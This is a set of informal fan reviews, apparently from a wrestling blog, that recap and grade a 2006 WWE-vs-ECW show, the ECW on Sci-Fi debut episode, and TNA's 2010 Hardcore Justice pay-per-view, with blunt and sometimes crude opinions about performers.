We get a clip from Raw and the RVD/Cena contract signing. ECW guys came out and left him laying. Cena talks about how this Sunday the WWE Championship could go to ECW. This title has been held by men like Sammartino, Hogan and Austin but if Cena loses, it becomes the ECW Championship. If Cena loses, he’ll be the biggest goat in wrestler. There won’t be a single WWE fan in the Hammerstein Ballroom and if Cena wins, he’ll be in the middle of the biggest riot in wrestling history. What he’s going to do though is put his head down and start swinging. Tonight he makes his statement against Sabu. GREAT promo here.

Here’s Heyman to talk about the PPV and the debut of the new ECW TV show. This is the ECW version of looking at the graphics of the matches that you always see for a PPV build. We get a quick video on One Night Stand last year which was awesome.

Angle gives the ECW guys a pep talk before the battle royal.

Big Show does the same.

Battle Royal

We’ve got ten from each here, with WWE being Edge, Big Show, Carlito, Shelton, Finlay, Lashley, Matt Hardy, Orton, and two other guys I can’t see. The ECW guys are more or less their whole roster minus RVD. You win by team, not individually. The other two WWE guys are Tatanka and Mark Henry. For the life of me I don’t get why Tatanka was rehired. Shelton and Lashley are the midcard champions. The WWE guys (at least six of which wound up on ECW and four of which won the ECW Title) get individual entrances to kill some time. The ECW guys come out as a unit.

Dreamer goes after Edge on the floor and we’re ready to go. Henry is out almost immediately. There goes Matt as well as Guido. It’s your usual battle royal: they fight a lot and there’s no way to tell what’s going on. Tatanka is out as is Carlito. Edge hasn’t been in yet but throws out Tony Mamaluke. Orton dumps Dreamer and we take a break. Back with I’m assuming the same amount of people.

Edge is still on the floor and pulls Finlay out. There goes Credible and Snow follows him out. Richards is out and ECW is in trouble. Balls Mahoney is out thanks to Lashley but Angle throws out Lashley. So for ECW it’s Angle and Sandman and about five guys left for WWE. Big Show, Rated RKO, Finlay and Benjamin. We take the second break of the match to come back to Sandman being tossed.

Edge is chilling on the announcers’ desk. Angle dumps Benjamin but it’s still him vs. Finlay, Show, Orton and Edge. Angle suplexes the smaller guys and Angle Slams Big Show. Finlay goes after Angle but gets tossed to get it down to 3-1. Edge comes in but his spear is countered into a belly to belly to get rid of him. Orton throws Angle out to win.

Rating: D. As usual with battle royals other than the Rumble, this was boring. The problem at the end of the day with ECW is that most of their guys didn’t mean anything so they had an army of jobbers and a mercenary in Angle to lead them. That’s what caught up to them in the Invasion and it’s not helping anything here.

Oh never mind as Big Show reveals an ECW shirt and throws out Angle to win. Remember what I was saying about mercenaries? That counts apparently because all you need to do is put on a shirt to change your contract.

The ECW guys celebrate in the back.

Edge vs. Tommy Dreamer

This is under extreme rules. Dreamer comes at him with a barbed wire 2×4 but Edge ducks and they head to the floor. Foley and Funk are at ringside. Back inside Edge takes over as the announcers bicker. Tazz defends ECW and Lawler says choking people out is ECW. The announcers ignore the match WCW style as Edge kills Dreamer with a trashcan lid. Dreamer takes the Raven drop toehold into the chair.

Edge hits the Impaler into a trashcan as JR tries to call the match. That only gets two as Lawler and Tazz are ripping into each other. At least it led to a match on Sunday. Dreamer kicks Edge low and puts Edge in the Tree of Woe. Dreamer and Funk get a table as Hornswoggle is brought into the argument. Dreamer loads up a superplex through the table but Lita makes the save.

Funk goes after Lita but Foley chokes him out with barbed wire. Edge loads up a powerbomb through the table but Dreamer counters with a backdrop. He totally misjudges where the table is and Edge lands mostly on his head. Death Valley Driver gets two but Lita comes in with the cane which doesn’t work. Dreamer loads up a powerbomb and gets speared for the pin.

Rating: C. The interesting thing here was the commentary rather than the match. The match was an above average hardcore match and I can’t complain much about it. Other than that though, the commentary was very different than usual as the entire match was spent arguing instead of talking about the match, which is what Styles ranted about weeks before.

Here’s Foley in the ring and he’s mad about the fans saying he sold out. He loved ECW but it didn’t love him. ECW asked too much of him and eventually he left to find fame and fortune in WWE. The difference between him and Dreamer: Foley will do anything for money but Dreamer wouldn’t sell out. Seven years ago he pulled a sock out of his pants and Vince laughed, making Foley a star. Dreamer only has his pride and ECW. Maybe the Foley vs. Edge match from Wrestlemania wasn’t as good as they thought. Maybe they’ll have to be even tougher in the Hammerstein Ballroom.

Terry Funk is still the toughest man in wrestling and can do things that no one else ever has. Funk is in pain every day that he wakes up but he wants to have one more moment. Foley blew him up in Japan and Terry hugged him. He set Funk on fire in Philadelphia and Funk put his arm around him. That’s not what Mick wants anymore. ECW is the w**** and there’s nothing that he won’t do to get back at ECW after what it did to him. Awesome stuff again here. Foley was full on heel here and he could bring it in that role.

Jerry and Tazz almost get into it again. Actually this time they do and it’s a decent brawl.

We recap Cena getting jumped two night ago to set up the main event.

John Cena vs. Sabu

This is also Extreme Rules. They start quickly and Cena drops an elbow for two. Release fisherman’s suplex gets two. Sabu sends him to the floor and dives on Cena before pelting the chair at Cena’s head. The Triple Jump Moonsault gets two. All Sabu here so far. Air Sabu gets the same. Arabian Facebuster sends Cena to the floor. Over to the table and Sabu drops a leg on Cena on the table. Sabu tries a dive in the corner but gets caught in the FU. STFU looks to finish but here’s Big Show for the DQ. In an ECW Extreme Rules match. This thing was dead on arrival.

Rating: C+. Fun match here as Cena was selling and Sabu wasn’t screwing up everything. Amazing what happens when you put someone competent in there with him and give him about six minutes. The FU to almost end it looked good too, making this a fun match ruined by a very bad ending.

The locker room empties out and a big brawl ends the show.

Overall Rating: B-. This was a good show but I have no idea what the point of it was. I mean, other than Big Show defecting, what was gained here? That could have been done on any show but they did it here. It’s not a bad thing but I don’t really get why it needed to exist. Still though, good show as fast paced as it was.

Here’s One Night Stand if you’re interested:

One Night Stand 2006: This Makes The MITB 2011 Crowd Look Nice

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ECW On Sci-Fi – June 13, 2006 – Debut Episode, Complete With A Zombie

ECW on Sci-Fi
Date: June 13, 2006
Location: Sovereign Bank Arena, Trenton, New Jersey
Attendance: 5,100
Commentators: Joey Styles, Taz

So this is the debut of ECW on Sci-Fi which I found online out of boredom. Since I’m getting dangerously close to the end of the ECW PPVs, I figured I’d do the first and last shows of ECW on Sci-Fi and TNN just for the heck of it. This show is considered a miserable failure so let’s find out why. The main event is a battle royal to determine who fights Cena at Vengeance. ECW came back officially two days before this so it’s brand new and this is the big debut. Let’s get to it.

We open with a recap of the second One Night Stand which was where the If Cena Wins We Riot sign debuted. Cena says he’ll be on ECW tonight, thereby killing ECW on its opening night. This was supposed to be the real ECW but you could tell that was never going to happen a few seconds after it debuted.

Heyman opens us up here and brings out RVD. They even have the hole in the brick wall entryway. RVD is WWE Champion here, having won it two nights ago. His voice reminds me of a less depressed Vin Diesel for some reason. They keep saying he’s the champion without saying WWE. Heyman declares him the ECW World Champion. Taz says no one knows what RVD is feeling. I think that should say no one knows why RVD never won the title in the original ECW. He says he’s just going to defend both titles. Van Dam wants the other one because it spins.

And here’s the #1 contender: Edge. Edge is ok because he could have made it in the original ECW I think. He cost Cena the title at Vengeance so he’s WAY over. Edge spears him after complimenting him. He goes through the crowd and Cena is behind him. RVD and Cena fight over who gets to beat up Edge. This of course allows Edge to escape. And remember, this is ECW. Pay no attention to the argument going on over the WWE Title with WWE guys.

After a house show ad, Heyman gives a speech to the locker room and says they’re invading Raw on Monday. You know it might work better if you didn’t say it on national TV.

The Zombie vs. The Sandman

And this right here is where ECW died completely. Since they could only get on Sci-Fi, they tried to get more sci-fi stuff on the show, hence this. And cue Sandman to not Metallica. Styles and Taz don’t even try to take this seriously. This is like a bad indy show joke or something. Sandman canes the tar out of him to a great pop and the White Russian Leg Sweep ends this in like 10 seconds. Dust flew off of Zombie. No rating obviously.

Kelly is an exhibitionist and wants to take off all of her clothes.

DX is coming back. On ECW. Shoot me. Better yet shoot Heyman as he doesn’t deserve this.

We see the whole Taz destroying King match from the PPV two days ago. It’s a 30 second squash but we see the whole thing, including intros.

Kurt Angle vs. Justin Credible

Angle would be in TNA later this year so what does that tell you about their luck? He had been the big guy sent to ECW to make them credible which to be fair is a good idea since he was in ECW before he was in WWE if you squint really hard when you look at it. Also his personality fits for ECW so it’s not that much of a stretch. Angle of course destroys Justin by throwing him all over the place and treating him like a video game character. Justin shoves him and Angle hits something close to the Tazmission to make him tap in maybe 90 seconds, which is somehow the longest match of the night, tripling the second place offering so far. No rating again obviously. He calls out Orton for a rematch at Vengeance.

Heyman says he’s throwing out everything he had planned and we’re having an extreme battle royal for the shot against Cena at Vengeance.

Read the Rise and Fall of ECW.

An unnamed character (Kevin Thorn) looks up at the ECW sign as Joey and Tazz say he couldn’t be what they think he is (vampire).

Kelly comes out to strip for us. She only has one name so far. She gets down to her underwear and unhooks her bra and puts her hands over her chest and leaves. Was there a point to that at all?

Extreme Battle Royal

Tommy Dreamer, Sabu, Big Guido, Little Guido, Stevie Richards, Big Show, Roadkill, Danny Doring, Al Snow, Tony Mamaluke, Balls Mahoney

So despite Heyman saying 10 there are 11. Sure why not. The weapons are all on the floor which completely goes against the logic of a battle royal. Balls has a bad cover of AC/DC. Show has hair here. That’s not something I’m used to. Wait didn’t he get his head shaved before this? Everyone runs from Show and it’s almost impossible to keep track of who is eliminated and who is just running. Roadkill takes a fallaway slam and we go to a break. No one has been eliminated since they all went through the ropes. We get some token weapons shots and I want this to end.

Taz tries to play this off as being more extreme than anything else and I feel sorry for him. Sabu sets up a table. Everyone jumps Show and it does nothing at all. Show puts out Snow. And Doring. Uh Richards too. Might as well say Roadkill too. Balls Mahoney is number five. This is all in a row so I’m not skipping anything. Dreamer goes after Show with something made of metal and of course it does jack. He goes through a table on the floor. It’s Show, the FBI and Sabu. Show puts all three of the non-fake Arabians out in about 45 seconds and then Sabu hits him while he’s on the ropes to win it.

Rating: F. Oh sweet mama this was bad. Show literally eliminated everyone other than Sabu in less than 4 minutes. There’s domination and then there’s this. One of the worst battle royals ever to fittingly close out one of the worst hours ever.

Overall Rating: G. This is one of those weird shows that actually goes beyond failing and blazes new territory. Other than the main event if you want to call it that, the longest match was less than 100 seconds long. One match had a zombie and one was from a PPV so it wasn’t even new. They had no freaking clue what they were doing with this and it showed badly. They more or less redid the whole thing the next week when this bombed so terribly. Not even worth it for the historical value. Terrible show.



Hardcore Justice – This Actually Wasn’t A Total Failure

Hardcore Justice
Date: August 8, 2010
Location: Impact Zone, Orlando, Florida
Commentators: Tazz, Mike Tenay

This is the second return to PPV for ECW as they try to squeeze the final drop of blood out of the stone that was ECW. I really am not looking forward to this as it was built around two matches and one of those was canceled. It’s RVD vs. Sabu tonight which needs to stay under 8 minutes or so. Other than that we know a lot of names and that’s about it. Let’s get to it.

Tazz is here and says this is going to be EXTREME and that this is going to be awesome no matter what people say. Yeah I’m sure.

FBI vs. Kid Kash/Simon Diamond/Swinger

It’s Tony, Tracy and Guido. Yeah because Kash was SO important to ECW. Sal is somehow even fatter if that’s possible. Smothers looks AWFUL. It’s Tony Luke now instead of Mamaluke. Guido looks about the same. The lights are all dark and there’s this weird blue tint to it. Guido and Kash start us off. They point out that they can’t say certain names or letters. WOW.

Simon is HUGE and even Tazz suggests different attire. He stops halfway through the match and cuts a promo to which he gets a LOUD Shut the F Up chant. He challenges them to a dance off. It’s somehow worse than it sounds. The non-FBI team breaks it up but Sal crushes them. Kash does a big dive to do something. Keep in mind we’re 20 minutes into this.

We get to a normal match now and it’s not bad. Seriously, we would have had to pay 45 dollars for this. Mamaluke is getting destroyed here and Diamond does something close to Three Amigos. Guido hits the Kiss of Death (Killswitch) to end it.

Rating: D. Once this got going it wasn’t bad but ten minutes of crap to get to the good stuff isn’t how this is supposed to go. This didn’t work at all for me though as three of these guys meant next to nothing at all in the original ECW. This was watchable I guess but the lighting and the other stuff just isn’t doing it so far.

The announcers talk about Sabu being in the main event.

We have a Where Are They Now series tonight. That’s not a good sign.

Tod Gordon says goodbye. He’s fat.

Pitbull #1 says hi.

Blue Meanie is on a TNA PPV. Literally that’s all they’re saying.

They do their intros and then they come back. Pitbull says show them hardcore. Meanie says thank you. None of them are here or anything.

AJ liked ECW.

Love liked ECW but only saw the end.

Snow yells at Head for possibly causing legal issues with the show. Richards comes in and this is his night apparently. Nova (Simon Dean) shows up in his BWO apparel. He talks about getting the band back together and this is painful to watch. A fake Blue Meanie comes in and we’re told that it doesn’t matter if it’s not really him. Good night.

Hey look it’s a match.

CW Anderson vs. 2 Cold Scorpio

You know, because these two have SUCH a history together. They keep calling it the original era because they can’t say ECW, even though they do anyway. Oh this is wrestling. Just to be clear I guess. Amazingly enough, there’s next to nothing to talk about here. Scorpio was great in his time, but he was old in 99 and he’s very old now. This is kind of back and forth and really isn’t bad for the most part. Spinebuster gets two and the Tumbleweed ends it.

Rating: C-. This was actually ok. They had a nice back and forth thing going here with a solid clash of styles going. I liked Anderson to an extent and I always liked Scorpio so this worked well for me. Somehow I have a feeling this is going to be the best match of the night. This wasn’t bad at all though and has me in a better mood.

Madison liked ECW too.

Matt Morgan got to go to a bar where ECW guys came to. They have to call it the Philadelphia promotion. This is sad.

Anderson says ECW was doing other stuff.

RVD and Fonzie say they wish they had a chance to fight Lynn again. RVD wants a replacement and picks Sabu. Fonzie says he’ll call it right down the middle.

PJ Polaco vs. Stevie Richards

Richards has the BWO with them despite not being Big Stevie Cool here. The fans chant Polaco’s name (Justin Credible which I’ll be referring to him as) and then Stevie Richards. The fans want blood and an hour (almost) into it we haven’t had any. Justin hits a jumping spinning DDT which was one of his signature moves back in the day at least.

The fake Meanie is one of the Phi Delta Slam guys if anyone remembers them. He’s a security guard at times too. The matches here aren’t completely awful but this comes off as so low rent that it just can’t be taken seriously. And remember, this is TNA’s PPV offering this month. It’s not like the real PPV is next week or anything. This is it for August.

And That’s Incredible ends….nothing as Nova jumps up. Stevie Kick ends this in something that would NEVER have happened in the original company. The lights go out and Sandman is here to no music at all. White Russian Leg Sweep and Justin is back up before like a second. Cane shots put him down again.

Rating: D+. Not too bad here but the booking was just bad. I know Justin is crap but he was world champion for five months in the old days while Stevie was billed as a clueless putz. This didn’t work that well but it could have been FAR worse. Keep in mind that these grades are on an adjusted scale here as most of these would be fails or worse.

Francine and her daughter are at home. She looks bad. Like really bad. She was hot back in the day and now this.

They pay tribute to the people that have died with a graphic and nothing more. No names, no faces, no anything.

Brother Runt vs. Al Snow vs. Rhyno

Runt is Spike Dudley of course and is nearly bald. This is elimination rules and better not break 8 minutes. Spike hits a dive that is ok after some basic stuff. He plays the role of the pinball of course and I still wonder what Snow has to do with this. Snow hits the trapping headbutts on Rhyno. TNA guys are watching in the back. Why they’re here is beyond me because they’re not wrestling.

Acid Drop to Rhyno is blocked and this needs to end fast. We’re on the floor again and you actually can’t see due to the lighting. The referee goes down and Head drills Rhyno. Spike does the Eddie chair thing by slamming the mat with it and throwing it to Rhyno. He and Snow do the same thing so they’re all down. Oh my head hurts. Acid Drop ends Snow and then the Gore ends the whole thing.

Rating: D. I like Snow but this was just bad. There’s a reason these guys retired: THEY AREN’T THAT GOOD ANYMORE. Rhyno is ok at best and he’s the biggest star by far in this. At least he won I suppose, but this was just random with no point at all. Well at least it’s over and wasn’t that long.

Foley is reading Hogan’s book and likes being the ref.

More guys talk about the company, including Sabin and Magnus.

Cajones/Axl Rotter vs. ???/???

Cajones is of course Balls Mahoney. He issues an open challenge and it’s JOEL GERTNER. Ok this is at least an improvement. I think I smell Team 3D. Yep I’m right and they’re in tye-dye. Thankfully Joel does a poem which is funny. He looks…bad. Like even worse than before. It’s a South Philadelphia Street Fight in Orlando according to Ray.

They go split screen here for the sake of torturing us even better. Ray shouts at him and calls him Balls because that’s ok I guess. We go into the crowd for fun. This is “hardcore” I guess with mainly just punching and random shots with weak weapons. We bring in some more traditional weapons back in the ring. The announcers are of course cracking up over everything here instead of selling it like a hardcore match.

Frying pan to the head of Balls. And Mahoney breaks out a toy lightsaber. And so does Bubba. I hate this show. I truly do. Axl botches a reverse DDT on Bubba and Nutcracker Suite to D-Von gets two. The fans want flaming tables. They get a chair duel instead. The referee tries a double clothesline on the team that isn’t the Dudleys. It fails, much like this match.

The Dudleys bring in a table and Gertner has lighter fluid. Balls goes through it, ending this mess.

Rating: D-. Flaming table is all that keeps this from failing. This whole show is a freaking joke and that’s being kind.

Team 3D says they’re the best in the world and cue The Gangstas. They beat the tar out of each other and then hug.

Raven talks about his past with Dreamer where they were kids together and Dreamer was a jock. Raven slept with a girl Tommy liked and then the girl left Raven for Dreamer. That was Beaulah in case you don’t know that somehow.

Jesse Neal liked the little that he saw of ECW.

Kaz wanted to be in ECW.

Joey Styles should be here but isn’t. Everyone talks about him. This is so stupid. They make it sound like he’s dead.

Raven vs. Tommy Dreamer

For no apparent reason, Foley is the referee. Beaulah is here and is still hot. The fans chant Uncle Scotty to complete this joke. They do the drop toehold spot and Dreamer gets beaten up in front of his kids. Dreamer might be the first guy to bleed tonight. It’s your usual stuff here with the beatdown that isn’t that great but the history makes it watchable. Raven is busted.

The signs are brought in as is the ladder. They do some decent stuff with that for two for Raven. Dreamer Driver gets no cover. We finally get to the barbed wire which is wrapped around Raven’s face. He taps but the BWO runs in to make sure it doesn’t count. This needs a Sandman run-in. Down goes Foley for no apparent reason. Raven Effect gets two. Or is it the Even Flow? Whatever.

Foley and Socko, which they can’t say, takes down Raven and that guy from earlier that we couldn’t recognize in the Blue Meanie skit runs down with a top rope leg drop for Dreamer. Allegedly his name is Lupus? Mandible Claw with wire to Raven of course doesn’t put him down and he cuffs Dreamer.

Beaulah comes in to stop the Rock/Foley ending in the Last Man Standing match which doesn’t work. Dreamer manages to DDT Raven while cuffed behind his back for two. Raven hits Dreamer in the knee with the chair and a DDT on it ends this. Yes, Dreamer jobbed to Raven in the final encounter. I am about to give up.

Rating: D. This started out as an ok brawl but just got insane. To be fair it was a pretty brutal match but the ending is just stupid. The problem is that this feud was perfectly finished in ECW and there was no need for this. Dreamer winning was the right way to go here so of course they didn’t do that. Not a horrible match, but it’s just showing how bad this idea was overall as this feud is one that didn’t need to continue.

The Gangstas hit on So Cal Val and make racial jokes. Borash is New Jack’s now.

We talk about Heyman and say stuff we’ve all heard before.

Sabu vs. Rob Van Dam

It’s 10:15 so hopefully we’re out before half past the hour. Other than that this is going to go WAY too long. Fonzie is in a yellow jacket and RVD comes out first. The fans say this is classic. Sabu is bald. They start out with a feeling out process because they know each other so well. Sabu does his point to the sky and RVD does his pointing. It would be nice if they actually did something.

In an interesting thing Fonzie sends a chair in but does it right down the middle. We hit the crowd for a bit as the chanting is just idiotic. Sabu botches….something and then the camel clutch is on. The bald guy doesn’t look half bad all things considered. With both guys down, Fonzie throws both of them a bottle of water. Both get tables as a result. Oh this isn’t going to end well.

Van Dam hits some slingshot legdrops and Fonzie tries to revive Sabu. Sabu hits a rana to send RVD into a chair in the middle of the ring. It looked totally fake but not bad at the same time. Clutch is on again for like 2 seconds. Triple Jump Moonsault is blocked by Van Dam and Sabu is bleeding from somewhere. Van Assassin hits (the one footed dropkick into the chair while the guy is crotched) and Sabu to the floor.

Ok so that lasts like a second and we’re back now. Morrison, watch an RVD match to see how you do the split legged moonsault, I beg of you. Rolling Thunder to the chair hits for two. Five Star ends it.

Rating: D+. While a mess, this is what it was supposed to be: a war. They beat each other up and it really isn’t as bad as anyone is saying it is. It’s bad, but this is what the match was supposed to be. There was no way it was going to be a classic, but this really wasn’t horrible. It held my attention for the most part and had some decent spots. For the ending to this show, this was bearable.

The locker room empties and we have a beer bash, which isn’t like that other show at all. The crowd chants F YOU VINCE and Dixie gets in the ring. Bubba takes her on a victory lap to end the show.

Overall Rating: D-. Let’s get the obvious out of the way first: this was bad. The wrestling was awful and there were really only two matches worth much at all. Luckily those were the two main matches and not the stuff no one remembers. This show is being called one of the worst of all time and from the view that this is the TNA offering this month, they’re right. From the perspective of using your intelligence, that’s not the case. Something that needs to be remembered here is the audience. This wasn’t for the casual wrestling fan. This was for the ECW fan and those people likely loved this. While the wrestling was bad, the booking was smart for the TNA fans as they get their PPV for FREE on Thursday. This was a way to get money out of the people that likely wouldn’t pay for a TNA show 90% of the time while still appeasing those that do. It’s a brilliant strategy from that perspective, but for casual TNA fans this was dreadful.

Another thing to keep in mind is that this was supposed to be like an ECW show. As great and fun as it was, in retrospect One Night Stand was more like a WWE show than an ECW show. This show had the realism of ECW far more than ONS did. This had the bad comedy and the random interference and the bad wrestling and the random matches. This was FAR more like ECW than the show five years ago was. Now that being said I’d still watch ONS over this a million times, but like I said earlier I’m not the target audience in the slightest. This wasn’t a good show, but it will likely be a successful one. It worked from that perspective and will be seen by ECW fans as a success, which is the whole idea. Don’t watch it or anything, but it’s not as bad as it’s made out to be, period.